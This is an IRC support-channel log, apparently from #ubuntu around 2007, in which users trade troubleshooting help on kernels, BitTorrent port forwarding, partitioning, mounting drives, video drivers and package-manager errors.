[05:27] <rafin> daviey, didn't come to it yet. but want to start with it with the new motherboard I'd like to buy
[05:27] <rafin> Jowi tnx
[05:27] <Vuen> Li`lEndian: make sure you get the ports for both ordinary traffic AND distributed db
[05:27] <Vuen> Li`lEndian: the distributed db port is different
[05:27] <mrlinux> jowi, i'm not worried to try to format its just that i don't want to mess the firmware  plus in the users manual it says not to format
[05:27] <rafin> So edgy is the latest and has 2.6.19?
[05:27] <daftman> Li`lEndian: use firehol
[05:27] <theflyingfool> rafin: no
[05:27] <daftman> Li`lEndian: it would make your life easier
[05:28] <theflyingfool> rafin edgy has 2.6.17
[05:28] <daviey> rafin, well mine is up to date and has .17
[05:28] <riotkittie> more like 1.3  :P  i'm sure you can cut it down quite a bit though
[05:28] <Li`lEndian> daftman, whats that? a firewall? or a btclient?
[05:28] <daftman> Li`lEndian: sudo apt-get install firehol
[05:28] <daftman> Li`lEndian: firehol allows you to configure your iptables easily
[05:28] <Li`lEndian> ok, i figure.
[05:28] <Vuen> Li`lEndian: firehol is probably a firewall, don't bother. for now don't even use a firewall at all, it's pointless if you're behind a NAT
[05:28] <riotkittie> i wonder how small it used to be. zen started out as minislack, which i never bothered looking into
[05:28] <theflyingfool> rafin if your looking for an uber uptodate disto try forsight
[05:29] <Vuen> Li`lEndian: just reset your iptables and make sure you apt-get remove any firewalls you may have, firestarter, firehol, etc
[05:29] <BrendanM> ugh, does anyone have any idea what "arguments to dbus_message_new_error() were incorrect, assertion "_dbus_check_is_valid_error_name (error_name)" failed in file dbus-message.c line 925." means?
[05:29] <rafin> Hey guys tnx, but then I have a problem 17 doesn't have proper support for Via 8237A southbridge I read
[05:29] <Jowi> mrlinux, not recommended to format unless you know for a fact which filesystem is on it I would say. you might convert it from a mp3 player to a brick if you do.
[05:29] <daviey> Vuen, so how does NAT protect against outbound connections?
[05:29] <Vuen> daviey: it doesn't. for now you don't really need to
[05:29] <Jowi> mrlinux, better try to see on the manufacturers homepage if they have any info.
[05:29] <Vuen> daviey: are you really that concerned about the outgoing connections your linux box may make?
[05:29] <roxlu> when I want to run some scripts as 'root' in a cron how can I do that?
[05:29] <mrlinux> Jowi, exactly thats why i am hesitent to do so.
[05:29] <riotkittie> i wish there was a lighter version of ubuntu. maybe i'll toy around later and try to optimize before an install
[05:29] <n2diy> rafin, what about Dapper?
[05:30] <Vuen> daviey: if he's using bittorrents, it's going to want to open a whole slew of outbound connections. using a firewall to try to block outgoing is just dumb.
[05:30] <Li`lEndian> Vuen, how can i find out which ports are used by the distributed db network?
[05:30] <daviey> riotkittie, if you want minimal use ubuntu server edition and install your own window manager
[05:30] <Jowi> mrlinux, you can try to mount it manually as vfat to see if it works. "sudo mount -t vfat /dev/name /mount/mymp3disk
[05:30] <daftman> Li`lEndian: distributed use UDP
[05:31] <daftman> Li`lEndian: you can set it in azureus
[05:31] <mrlinux> jowi, oh i can mount it fine  rythembox detects it and every thing
[05:31] <Vuen> Li`lEndian: hmm. i thought it was a different port, but it seems it may not be. i'm not sure...
[05:31] <daftman> Li`lEndian: if you open port 50000
[05:31] <riotkittie> daviey: the only thing not in server is X, right?
[05:31] <BrendanM> mrlinux, my mp3 player has a setting on the player that I needed to change
[05:31] <Li`lEndian> yeah, its the same as the TCP listen port,
[05:31] <rafin> n2diy, when dapper is on the 2.6.15 kernel is also doesn't support the Via 8237A southbridge which would couse ATA drives to be slow
[05:31] <Li`lEndian> is that a problem?
[05:31] <daftman> then distributed database will use 50000 UDP
[05:31] <daviey> Vuen, fair enough..... but it outbound connections are still a big issue.  At work, i can vpn into my home network.  That means that my work machine is effectively on my home network.  This means that if somebody hacks my home network, then they security they have at work is pointless.  I shoudln't be able to that!!!
[05:31] <n2diy> rafin: ok
[05:32] <daftman> Li`lEndian: no it isn't a problem
[05:32] <pr3d4t0r> Have a great day :)
[05:32] <Jowi> mrlinux, if you mount it fine then type "mount" to see what it is mounted as.
[05:32] <Li`lEndian> !iptables
[05:32] <ubotu> Ubuntu, like any other linux distribution, has firewall capabilities built-in. The firewall is managed using the 'iptables' command (see https://help.ubuntu.com/community/IptablesHowTo), or GUI applications such as Firestarter (Gnome) or Guarddog (KDE).
[05:32] <daviey> riotkittie, i believe so.  but anything that is missing is just just an apt-get away.  I had a fully running server edition as a media pc
[05:32] <BrendanM> MrLinux, what kind of mp3 player is it?
[05:32] <mrlinux> jowi, it says it's vfat
[05:33] <rafin> Anyone knows where in the Ubuntu docs I can find the kernel version, so I don't have to ask next time
[05:33] <mrlinux> BrendanM, philips go gear
[05:33] <daftman> rafin: you can build you own kernel
[05:33] <daftman> rafin: www.kernel.org
[05:33] <rafin> daftman: I'm afraid I am a too newbie for that
[05:34] <Jowi> mrlinux, so you're better of to remove files manually instead of formatting it. you never know with these devices.
[05:34] <daftman> rafin: check kernel.org to see if your kernel is supported
[05:34] <kohr_> When i try to play WMV or MOV files in firefox, it shows a black screen and says "no video"
[05:34] <Smotang> Problem I have at the moment is that I have a Microsoft USB 5 button mouse, but programs I run in wine do not seem to recognise the 2 side buttons.
[05:34] <theflyingfool> how do i get the kernel source code
[05:34] <un_operateur> rafin, you want to know what kernel version you are running?
[05:34] <riotkittie> daviey: yeah, thats what i assumed. server's not as minimal as i had in mind.
[05:34] <BrendanM> I have a SanDisk mp3 player, and by default it uses some stupid Microsoft proprietary USB protocol that's meant to integrate with Windows Media Player, but I found a setting on the player to set it to just use MSC all the time
[05:34] <BrendanM> then it just mounts like an ordinary USB flash drive
[05:34] <Vuen> kohr_: sudo apt-get install vlc vlc-plugin-esd
[05:34] <Jowi> mrlinux, I know that my samsung mp3 player will restore its settings if it is formatted but I also know that other mp3 players don't.
[05:34] <daftman> rafin: http://www.kroah.com/lkn/
[05:34] <daviey> riotkittie, how minimal do you want?!
[05:35] <mrlinux> BrendanM, jowi, never mind guys   i'm just going to call phiips and say that its messed and to give me a new one
[05:35] <Jowi> mrlinux, what is wrong with it?
[05:35] <daftman> rafin: that would teach you how to compile a default stock kernel
[05:35] <rafin> un_operator: no I'm not running Linux yet, but want to know how to find out in the Ubuntu docs
[05:35] <irv> what is the correct driver for ati radeon 9600?
[05:35] <riotkittie> then again, i'm getting ahead of myself here. hehe. i cant manage to clone my screen between two displays. <hangs head in shame>
[05:35] <daviey> riotkittie, it's quite easy to compile a kernel... http://www.howtoforge.com/kernel_compilation_ubuntu
[05:35] <BrendanM> Is anybody here good with NetworkManager, I can't get VPN working correctly: http://ubuntuforums.org/showthread.php?t=336375
[05:35] <Li`lEndian> Vuen, stupid question, i've tried the port-forwarding with both the broadband modem iface firewall turned on and off. nothing works
[05:36] <rafin> daftman: tnx this surely will get me further
[05:36] <un_operateur> rafin, uname -r  is the command to tell you what kernel a particular machine is running
[05:36] <riotkittie> daviey: i know. i've compiled them in the past.
[05:36] <irv> what is the correct driver for ati radeon 9600?
[05:36] <daviey> riotkittie, sorry wrong person
[05:36] <riotkittie> :)
[05:36] <daftman> rafin: if you have a livecd you can test it if it support your gfx card
[05:36] <un_operateur> !ati | irv
[05:36] <ubotu> irv: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[05:36] <daviey> rafin,  it's quite easy to compile a kernel... http://www.howtoforge.com/kernel_compilation_ubuntu
[05:36] <Itaku> hello all
[05:36] <daviey> rafin, what kernel do you want?
[05:37] <Itaku> I'm trying to install ubuntu
[05:37] <daviey> good luck
[05:37] <Vuen> Li`lEndian: hmm. does the ICS machine have a firewall?
[05:37] <riotkittie> hi Itaku
[05:37] <daftman> daviey dont scare him/her
[05:37] <riotkittie> hahahah
[05:37] <mrlinux> jowi, it's is a 1GB mp3 player but  it says it only has 980MB  so i figure ok loose 20MB to formatting  but when i try to copy 976.3MB to my mp3 player which has 980MB on it   it say not enough space
[05:37] <linux_user400354> do anyone else graphics look like this when ubuntu is booting? http://chris1.myftp.org/bad_graphics.png
[05:37] <kohr_> Vuen, i did that, now it segfaults
[05:37] <daviey> daftman, i wasn't... just wishing him luck
[05:37] <Itaku> i got a problem
[05:38] <Itaku> i show you a screen
[05:38] <daftman> Li`lEndian: is the ICS machine happen to be a windoze?
[05:38] <Itaku> i'm in live CD
[05:38] <rafin> daftman: tnx but it was about the motherboard. I saw a review which stated that it needed at least the 2.6.18 kernel.
[05:38] <Vuen> kohr_: yuck. okay, sudo apt-get remove vlc-plugin-esd && sudo apt-get install mozilla-mplayer
[05:38] <Li`lEndian> no third party ones- just the default windows firewall. here's how i've hook'd up the network. adsl is conencted via an ISP-issued usb-modem. I just hooked up ethernet-to-ethernet connection between the ubuntu box and the windows machine and issued static IPs
[05:38] <rafin> Now I now that this kernel is not in edgy
[05:38] <Li`lEndian> daftman, unfortunately, yes.
[05:38] <Vuen> kohr_: if that doesn't work, remove it and try totem-gstreamer-firefox-plugin
[05:39] <daviey> rafin, that link i gave you tells you how to upgrade to 18.  But tbh i expect it will be released in packages soon anyway
[05:39] <n2diy> mrlinux: it probably requires some overhead for the copy process.
[05:39] <Vuen> kohr_: there's a whole bunch of media player plugins for firefox. one of them is bound to work :)
[05:39] <daftman> linux_user400354: its 64 bit
[05:39] <daftman> linux_user400354: don't worry it is only a usplash
[05:39] <Li`lEndian> i know that DHCP causes issues with azureus. and funny thing is, i use other bittorrent clients like bittornado- which don't give any bitforwarding problems
[05:39] <strigga> vuen **wget http://nvidia.limitless.lupine.me.uk/ubuntu/root@lupine.me.uk.gpg -O- | sudo apt-key add -** gives an error message "wget: invalid option - - 0
[05:39] <un_operateur> mrlinux, storage device vendors define 1MB to be 1000KB while most other programmer's and applications define it to be 1024KB .. hence the discrepancy
[05:39] <rafin> daviey: yopu mean a new ubuntu release based on 18 or 19?
[05:40] <daviey> rafin, naa, just an upgrade.  they are released regualry
[05:40] <Itaku> here is my screen
[05:40] <Itaku> http://imagup.com/img.php?page=img&url=http://www.images-upload.com/images/1168620348_install.png
[05:40] <Vuen> strigga: it's O (the letter), not 0 (the number).
[05:40] <daviey> rafin, similar to a windows update
[05:40] <Itaku> i can't click on next (Avancer in french) I don't know why
[05:40] <daftman> Li`lEndian: if it is an XP ICS try checking your windows firewall
[05:40] <Vuen> strigga: you don't have to retype all that, you can just paste the command into a terminal window
[05:40] <un_operateur> mrlinux, if you want a true representation of how much space is available, you should check the size in bytes
[05:40] <strigga> Vuen - that was it
[05:40] <kohr_> Vuen, back to (no video)
[05:40] <mrlinux> un_operateur, this i know i do look at the actual byte size
[05:40] <strigga> vuen proceeding :)
[05:40] <Itaku> help plz
[05:40] <rafin> I didn't know that Ubuntu does also kernel upgrades, learnt something again
[05:41] <Jowi> mrlinux, see what the filesizes is in bytes and compare it with how many bytes are available. don't trust MB values
[05:41] <Vuen> kohr_: hmm. that's very strange. hold on
 as a test disable the windows firewall in services.msc
[05:41] <Li`lEndian> ok..
[05:41] <BrendanM> Kohr, this is the best solution I've found for player media with firefox: https://addons.mozilla.org/firefox/446/
[05:41] <daftman> with an ICS it is suppose to be transparent
[05:41] <mrlinux> un_operateur, but i should try not having a 40 pounder of rum eh?
[05:41] <Vuen> rafin: edgy comes with the 2.6 series. as far as i know so will feisty. it upgrades across minor versions automatically through apt. i couldn't find this in the documentation, but that's how it works
[05:41] <Jowi> mrlinux, rum *always* help
[05:42] <daftman> rafin: if you scare just try out the livecd
[05:42] <Vuen> kohr_: hm. very strange... hold on
[05:42] <rafin> Vuen: tnx
[05:42] <un_operateur> mrlinux, also, you do lose a certain amount of space on the drive to super-user reserved blocks and things like the journal and file table, etc
[05:42] <mrlinux> jowi, this i know but whisky don't hurt either
[05:42] <rafin> daftman: I think I'll do that
[05:43] <mrlinux> i'm just going to call them up
[05:43] <un_operateur> mrlinux, well, no problem with the rum or how much of it you consume .. just have a strong coffee afterwards to return to normalcy :)
[05:43] <Vuen> kohr_: have you installed codecs for wmv and mov?
[05:43] <daftman> rafin: yea that is the best way to test out which distro is right for you
[05:43] <daftman> rafin: without screwig up your existing system
[05:44] <mrlinux> ok my other question is can i dual boot other linux oses on my current ext3 partition
[05:44] <Vuen> kohr_: the instructions here should help: https://help.ubuntu.com/community/FirefoxPlugins
[05:44] <YayBuntu> Just formatted my SATA harddisk in FAT32 and mounted it with "sudo mount /dev/sdb1 /media/Data1" but i can only access files, not read and write?
[05:44] <Jowi> no mrlinux. one system per partition
[05:44] <pike_> !grub | mrlinux
[05:44] <ubotu> mrlinux: grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto
[05:44] <YayBuntu> Only if i use "sudo nautilus" but not even there i can change who can read/write
[05:44] <mettao87> hi
[05:44] <kohr_> Vuen, yeah, mplayer can play .wmv
[05:44] <pike_> mrlinux: sorry misunderstood
[05:45] <kohr_> Vuen, checking on mov's
[05:45] <Vuen> kohr_: mplayer can't play .wmv by default. you need w32codecs.
[05:45] <mrlinux> jowi, k thanks
[05:45] <rafin> daftman, Vuen, daviey, un_operateur: Thanks a lot you all realy helped me a lot, i'll quit for now, but will be back soon
[05:45] <s34n> my PC's screen resolution just dropped to 600x480, and Pref->Screen Resolution doesn't offer any other choices now
[05:45] <linux_user400354> daftman: does the same thing happen to you?
[05:45] <Enverex> s34n, What video card and driver?
[05:45] <kohr_> Vuen, i installed them
[05:45] <daviey> rafin, look forward to seeing you back
[05:45] <Jowi> YayBuntu, "sudo touch /media/Data1/mytestfile" work?
[05:45] <maseeee> is kubuntu and ubuntu the same thing?
[05:45] <s34n> Enverex: embedded intel chipset
[05:46] <un_operateur> YayBuntu, errm, thats odd
[05:46] <daftman> linux_user400354: yes don't worry about it. It is an issue with 64b usplash
[05:46] <neghsmoke> hey what is the command to select your video driver in xorg.conf ?
[05:46] <Vuen> YayBuntu: you need to set the proper permissions on the files. fat32 doesn't have metadata for file permissions, so you have to set global permissions for all the files on the drive in the mount command. hol don
[05:46] <KristianDK> maseeee -> No, Ubuntu is gnome user interface, Kubuntu is KDE
[05:46] <daftman> linux_user400354: it is already logged by a few people in the ubuntuforum
[05:46] <kohr_> Vuen, mplayer can play both wmv and mov, i have codec's for them and they both work
[05:46] <s34n> Enverex: has worked flawlessly until I moved the PC 10 minutes ago
[05:46] <Itaku> nobody can help me
[05:46] <Itaku> ?
[05:46] <maseeee> KristianDK: thats it?
[05:46] <pike_> maseeee: yes the only diff is the gui environment and some installed apps that are specific to it
[05:46] <Enverex> maseeee, Other than the DE yes
[05:46] <KristianDK> maseee, yes :)
[05:46] <maseeee> alright cool thanks
[05:46] <Vuen> kohr_: ah. that's very strange. sorry, i don't know what's wrong :(
[05:47] <KristianDK> maseee, np
[05:47] <kohr_> Vuen, darn
[05:47] <YayBuntu> Jowi Yes it work
[05:47] <daftman> What's wrong itaku?
[05:47] <Vuen> YayBuntu: http://ubuntuguide.org/wiki/Ubuntu_Edgy#How_to_mount.2Funmount_Windows_partitions_.28FAT.29_manually.2C_and_allow_all_users_to_read.2Fwrite
[05:47] <s34n> how do you get X to reconfig?
[05:47] <maseeee> KristianDK: will i need to create a separte partition for ubuntu or will it do that during setup?
[05:47] <janga> s34n, sudo dpkg-reconfigure xserver-xorg
[05:47] <pike_> maseeee: you can install both and easily choose which by clicking sessions button at login
[05:47] <YayBuntu> thx Vuen will check :)
[05:47] <Itaku> http://www.images-upload.com/images/1168620348_install.png I can't click on NEXT so I can't install
[05:47] <daftman> s34n: dpkg-reconfigure xorg-xserver
[05:47] <Jowi> YayBuntu, so you must mount it with write permissions for users. follow the link Vuen gave you
[05:47] <KristianDK> maseee, you can run kubuntu and ubuntu on the same, if that's what you mean ;()
[05:47] <KristianDK> ;) *
[05:47] <YayBuntu> Okay i will
[05:47] <maseeee> no no
[05:47] <maseeee> i mean windows / ubuntu
[05:47] <dDbB> hello
[05:48] <daftman> s34n: oops xserver-xorg
[05:48] <chrissturm> does anyone have debs for FreeImage?
[05:48] <Vuen> YayBuntu: the umask=000 is the part that does it. that means it sets the permissions on everything on the drive as 777.
[05:48] <daftman> Itaku: what is the problem?
[05:48] <Itaku> daftman : look http://www.images-upload.com/images/1168620348_install.png I c'ant click on next. He doesnt' see any peripheric so I made my partitons with Gparted Live CD
[05:48] <maseeee> can i just rip off like 15GB from one of my partitions just for ubuntu then select that at install?
[05:48] <YayBuntu> Ohh okay
[05:49] <YayBuntu> I tried to use CHMOD but didn't work :)
[05:49] <KristianDK> maseee, should be possible during installating ;K)
[05:49] <Vuen> maseeee: yep. you'll also want a couple gigs of swap space
[05:49] <YayBuntu> Only problem now is that i can't umount it
[05:49] <YayBuntu> It says it is busy
[05:49] <Itaku> do you see daftman ?
[05:49] <maseeee> Vuen: how much swap, 2x my memory?
[05:49] <dDbB> i can't download the libavahi-glib library
[05:49] <Vuen> YayBuntu: you can umount -f, or you don't really need to umount it at all to mount again.
[05:49] <YayBuntu> Works now
[05:49] <Garito> hi
[05:49] <daftman> Itaku: yes I do but it is IN FRENCH
[05:49] <Vuen> maseeee: yep. at least 2 gigs anyway.
[05:50] <Itaku> but you can see how it is right ?
[05:50] <maseeee> oh 2 gigs? i only have 512mb in memory.
[05:50] <Enverex> Vuen, That's stupid
[05:50] <Enverex> maseeee, Just use 1GB SWAP
[05:50] <dDbB> someone can help me?
[05:50] <Jowi> YayBuntu, maybe you have "cd"d into the directory?
[05:50] <Li`lEndian> daftman, i think disabling ICS just disconnected
[05:50] <daftman> Itaku: yes I can hang on
[05:50] <YayBuntu> Jowi - you are right xD DOH!
[05:50] <maseeee> Enverex: 1gb is fine?
[05:50] <Itaku> daftman : What can't you understand ?
[05:50] <Li`lEndian> me from the internet on the ubuntu box
[05:50] <Enverex> maseeee, yeah
[05:50] <daftman> Li`lEndian: dont disable ICS: disable firewall
[05:50] <n2diy> maseeee: you can let Ubuntu decide how much swap space to use.
[05:50] <Itaku> daftman : do you know my problem ? I can I resolve it ?
[05:50] <janga> Vuen, why so much swap? My system never uses more than 18MB.
[05:50] <Vuen> maseeee: i have 3 gigs and only 512mb of memory >.< a gig is fine if you don't plan to upgrade
[05:50] <YayBuntu> It works perfectly now :D Thanks
[05:50] <Vuen> janga: i don't know, that's just what the documentation recommends
[05:51] <daftman> Itaku: yes you can solve it
[05:51] <Itaku> how ?
[05:51] <maseeee> ok thanks guys.
[05:51] <un_operateur> janga, incase you ever use more than that -- also if you ever need to hibernate/suspend etc
[05:51] <Garito> anyone can help me with a bind9 configuration?
[05:51] <s34n> janga: why doesn't it autodiscover my video card?
[05:51] <daftman> Itaku: how many hard-drive do you have?
[05:51] <KristianDK> vuen -> I've got 1,5 gb ram, and swap 1,6 gb, i don't even use my ram :P
[05:51] <Itaku> 1
[05:51] <Enverex> Vuen, The idea of "2x RAM" is plain stupid, if you have more RAM you don't need as much SWAP, you sure as hell don't need more SWAP
[05:51] <janga> Vuen, i am running fine with 512
[05:51] <Vuen> janga: you'd be hard pressed to buy a drive today less than 300 gigs. an extra gig of swap space is not exactly a big deal
[05:51] <daftman> and you have windows on it currently right?
[05:51] <Itaku> daftman : 1 but I don't want to quit windows for gaming
[05:51] <Itaku> yes
[05:51] <un_operateur> Enverex, errm, the 2xRAM exists for a reason -- hibernation :)
[05:51] <daftman> ok so you want to dual boot?
[05:52] <Itaku> daftman : right
[05:52] <daftman> how many gb is your windows?
[05:52] <Itaku> daftman : I organized my partition so I can do it
[05:52] <Itaku> 50
[05:52] <Vuen> wow, people seem to be taking my ram comment poorly. i ran ubuntu breezy without a swap partition at all for months with no problems, i KNOW you don't need a lot of swap, i'm just repeating what the documentation says
[05:52] <Enverex> un_operateur, That's a dodgy way to hibernate, which is probably why I don't use it, heh.
[05:52] <Vuen> !swap
[05:52] <ubotu> swap is used to move unused programs and data out of main memory to make your system faster. It can also be used as extra memory if you don't have enough. See https://help.ubuntu.com/community/SwapFaq for more info
[05:52] <clash> .
[05:52] <n2diy> Enverex: 2x was the standard recommendation
[05:52] <Enverex> It's a bad recommendation
[05:52] <s34n> how do I get X to auto re-discover my video card?
[05:52] <daftman> Itaku: from the picture you shown, that's not the way you organize it
[05:52] <Enverex> Someone with 4GB RAM does not need 8GB of SWAP.
[05:53] <BlueLaguna> is there anyway to automatically generate an fstab entry?
[05:53] <un_operateur> Enverex, whats a dodgy way to hibernate -- whats how it has always worked
[05:53] <daftman> Itaku: does you windows partition take 100% of you disk?
[05:53] <un_operateur> s/whats/thats/
[05:53] <Jowi> s34n, "sudo dpkg-reconfigure xserver-xorg"
[05:53] <n2diy> Enverex: I agree, the standard comes from the days when folks where installing on 486s.
[05:53] <Enverex> un_operateur, As I said, that's why I don't use it, it's a silly way of doing it. I use STR.
[05:53] <Itaku> i got 50 go Win ;  30 go FAT32 for exchange between both ; 7go EXT3 "/" ; 1go Swap ; 10go /home daftman
[05:53] <s34n> Jowi: that pops up and asks me for all the data on my video card
[05:53] <un_operateur> Enverex, if ever they want to hibernate ,.. that had better make sure they have enough space -- and if you are swapping more than 4GB of RAM .. 8GB is a good approximate
[05:54] <s34n> vendor, memory, etc.
[05:54] <Enverex> haha
[05:54] <Jowi> s34n, those are optional values
[05:54] <s34n> It should auto-detect that
[05:54] <daftman> Itaku: how many have you got on win at the momment?
[05:54] <Enverex> I'm just gonna drop out of this conversation now because it's just stupid
[05:54] <Itaku> daftman : what do you mean ? I made my partition with gparted
[05:54] <neghsmoke> Anyone: In the device section of xorg.conf under my cideo card it lists the options "OpenGLOverlay" "off"     is this a problem?
[05:54] <Jowi> s34n, it does. but you have a chance to modify it. it exist there for older hardware that it can't autodetect for.
[05:54] <daftman> ah ok, so you already partition everything
[05:54] <un_operateur> !worksforme | Enverex
[05:54] <ubotu> Enverex: Common Sense: Just because you can, does not mean you should. Think before you do. "Works for me" does not mean it is ok. The latest version of everything is not always useful if you aim for stability.
[05:55] <Jowi> s34n, just press enter and you'll be fine.
[05:55] <Vuen> s34n: sudo dexconf
[05:55] <Itaku> daftman : yes because Ubuntu cant see my peripheric
[05:55] <Enverex> !idontcare | un_operateur
[05:55] <ubotu> Sorry, I don't know anything about idontcare - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[05:55] <BlueLaguna> how do I find a partition's UUID?
[05:55] <Vuen> s34n: nevermind, the dpkg-reconfigure is a better way to do it
[05:55] <Enverex> un_operateur, Your whole "wfm" comment is contradictory in itself
[05:55] <un_operateur> BlueLaguna, it's probably listed in /etc/fstab
[05:56] <BlueLaguna> un_operateur: it's not, that's why I'm trying to figure it out so I can add it
[05:56] <maseeee> should my ext3 partition should be "logical" or "primary" ?
[05:56] <daftman> Itaku: YOu use Gpart in the LiveCD?
[05:56] <Itaku> daftman : still there ?
[05:56] <un_operateur> BlueLaguna, check  - ls -l /dev/disk/by-uuid/
[05:56] <Vuen> maseeee: logical
[05:56] <Itaku> yes
[05:56] <maseeee> Vuen: thx, what about swap?
[05:57] <daftman> You should not do that
[05:57] <Vuen> maseeee: same...
[05:57] <maseeee> k
[05:57] <daftman> Gpart will destroy your windows partition
[05:57] <daftman> that "/windows" just mean a directory
[05:57] <un_operateur> Enverex, if you wish to sit here and give support to someone who took your advice, then do so .. but if you want to keep everyone happy, just do things like they have always been done
[05:57] <Akuma_> sorry about that but basic newb question: how do i go about merging archives? i have a file split in 7 and each part is zipped
[05:57] <Enverex> Fine, waste space, not my problem
[05:57] <Itaku> daftman : No because when I bougt it I already had C: / and D:/
[05:57] <Vuen> maseeee: the safest way to do it is probably to have a primary partition and an extended partition containing a bunch of logical partitions
[05:57] <BlueLaguna> un_operateur: hmm, that has /dev/hdb1 but not /dev/hdb2
[05:58] <daftman> How much is in C:?
[05:58] <daftman> and how much is in D:?
[05:58] <gh0st> hello how can i install custom splash screens?
[05:58] <Vuen> egad! drive letters! curses!
[05:58] <un_operateur> BlueLaguna, errm, sorry, come again?
[05:58] <Itaku> 50 gb and 58gb daftman
[05:58] <maseeee> Vuen: its just that on partitionmagic it recommends primary for linux
[05:58] <ubunut> hi
[05:58] <Napster> hi. my update notifier is in the taskbar but is ses package manager is not working and when i try update it gives me an error. what can i do?
[05:58] <Hairball> anyone have any ideas why i can't auth to a samba share when trying to map it from xp?
[05:58] <daftman> Itaku: do you need D:?
[05:59] <Itaku> no that's why I take off the space from D:
[05:59] <paolo> how can i assign to a variable the output of a command?
[05:59] <kenthomson> Hello!
[05:59] <ubunut> i need a crontab quick. i have to run a php-file with the user hc. the command is 'php /usr/local/bin/afraid.php', and i have to run it every 2 or 5 minute. what should i do?
[05:59] <kenthomson> How do i use a floppy drive in Ubuntu?
[05:59] <Vuen> maseeee: oh. yeah, i don't really know. i can show you what my partition table looks like, i have windows dual booted
[05:59] <n2diy> Napster: whatt is the error message?
[05:59] <un_operateur> paolo, you mean how can you assign the output of a command to a variable right? :)
[05:59] <riotkittie> partition magick is the root of all evil:p
[05:59] <daftman> Itaku: you need to go back to windows, use a tool like partionmagic to resize your windows partition
[05:59] <BlueLaguna> un_operateur: I'm trying to add the partition from /dev/hdb2 to my fstab.  The folder said to look at only contains a symlink to /dev/hdb1
[05:59] <Itaku> which one ?
[05:59] <BlueLaguna> *you said
[05:59] <kenthomson> I mean i have it inserted and on going to /media/floppy0 does nothing
[05:59] <kenthomson> I want to see its contents, where do i go?
[05:59] <paolo> un_operateur: yes
[05:59] <Napster> E: Could not get lock /var/cache/apt/archives/lock - open (11 Resource temporarily unavailable)
[05:59] <Napster> E: Unable to lock the download directory
[05:59] <un_operateur> paolo,  something like this  -- variable=`command`
[05:59] <daftman> so you can get 50GB of windows and 58GB of unpartition
[06:00] <un_operateur> BlueLaguna, you dont have to use a UUID .. you can use the old syntax
[06:00] <kenthomson> Anyone....?
[06:00] <gh0st> hello how can i install custom splash screens?
[06:00] <riotkittie> it's partition *magic* because... "data! now you see it, now you don't"
[06:00] <daftman> Itaku: If you do this, it will destroy your windows partition
[06:00] <jrib> Napster: do you have more than one APT application open?
[06:00] <Itaku> I've already done that daftman
[06:00] <janga> kenthomson, go to "Computer" and then to Floppy
[06:00] <Vuen> Napster: are you sure you don't have synaptic/adept open?
[06:00] <kenthomson> janga i am there
[06:00] <n2diy> Napster: close any other package managers like synaptic.
[06:00] <s34n> dpkg-reconfigure didn't auto detect
[06:00] <Napster> i dont have any open...i just turned on my computer
[06:01] <Jowi> maseeee, http://en.wikipedia.org/wiki/Disk_partitioning for the basics
[06:01] <pike_> Akuma_: well maybe "cat file.zip.1 > file.zip; for i in `seq 2 7`; do cat file.zip.$i >> file.zip; done" <-- not the best way but might work.
[06:01] <janga> kenthomson, and it does not mount the floppy?
[06:01] <jrib> Napster: where did you get that error?
[06:01] <ubunut> i need a crontab quick. i have to run a php-file with the user hc. the command is 'php /usr/local/bin/afraid.php', and i have to run it every 2 or 5 minute. what should i do?
[06:01] <daftman> Itaku: so your windows partition should be in sda1
[06:01] <Vuen> s34n: mmm. well what you can do is just add the resolutions you want to /etc/X11/xorg.conf
[06:01] <n2diy> Napster: ok, then delete that lock file.
[06:01] <Napster> whwen i clicked install updates
[06:01] <Napster> how?
[06:01] <Itaku> daftman : I actually have 5 partitions : NTFS 50 go with Windows (C:), FAT32 30gb for exchange space (D:), EXT3 7gb for "/", EXT3 10gb for /home, SWAP 1gb
[06:01] <s34n> Vuen: it's not just resolutions. it's driver, memory, everything
[06:01] <Bartek> hello
[06:02] <un_operateur> pike_, hah, isnt that overkill of cat .. why not just  cp file.zip.1 file.zip ?
[06:02] <n2diy> Napster: you don't know how to delete a file?
[06:02] <s34n> Vuen: it was also recognized just fine during install
[06:02] <jrib> !cron | ubunut
[06:02] <ubotu> ubunut: cron is a way to schedule execution of software/scripts. See https://help.ubuntu.com/community/CronHowto  -  There is also a decent Howto at http://www.tech-geeks.org/contrib/mdrone/cron&crontab-howto.htm
[06:02] <Jowi> s34n, what video card do you have?
[06:02] <Bartek> anyone can give me a hint where to start with digikam and olympus camera?
[06:02] <Vuen> s34n: mm, that's very strange...
[06:02] <Bartek> digikam detects it but can not connect to it
[06:02] <s34n> Jowi: an embedded intel job
[06:02] <pike_> un_operateur: dont mock me! :)
[06:02] <Itaku> daftman : This is right now
[06:02] <n2diy> Napster: are you in X?
[06:02] <Jowi> s34n, can you be more precise?
[06:02] <jrib> ubotu: see also 'man 5 crontab' which is pretty readable
[06:02] <jrib> ubunut: see also 'man 5 crontab' which is pretty readable
[06:02] <Napster> i went there 2 delete it and it sed i dont have permission
[06:03] <un_operateur> pike_, sorry, didnt mean to .. just wondering what the rationale behind that approach was? :)
[06:03] <Napster> wait...let me try something
[06:03] <BlueLaguna> un_operateur: ah, thanks
[06:03] <s34n> Jowi: 00:02.0 VGA compatible controller: Intel Corporation 82845G/GL[Brookdale-G] /GE Chipset Integrated Graphics Device (rev 03)
[06:03] <un_operateur> BlueLaguna, it works? :)
[06:03] <daftman> Itaku: why do I see "point de montage" 29
[06:03] <Napster> wats the command to delete in the terminal
[06:03] <un_operateur> Napster, rm
[06:03] <ubunut> well. i have read it, but i have to run the script with the php-command, not /bin/sh (like it's in /etc/crontab - SHELL=/bin/sh
[06:03] <Itaku> point de montage means the folder where it's going to be daftman
[06:03] <daftman> Itaku: It said /windows
[06:04] <Jowi> s34n, 845G use the i810 driver and you enable more of its resolutions by installing "915resolution"
[06:04] <daftman> is that your Fat32?
[06:04] <jrib> ubunut: you enter what you said in quotes as your command
[06:04] <Itaku> daftman : yes I've done that so it'll be in windows folder
[06:04] <Jowi> gotto go
[06:04] <Itaku> daftman : do I should retire it?
[06:04] <daftman> Itaku: no don't do that
[06:04] <un_operateur> ubunut, so you looking for the php command line interpreter?
[06:05] <daftman> Itaku: I think ubuntu reserver /windows for a windows partition
[06:05] <daftman> Itaku: try naming it something else?
[06:05] <Napster> thanks guys that worked
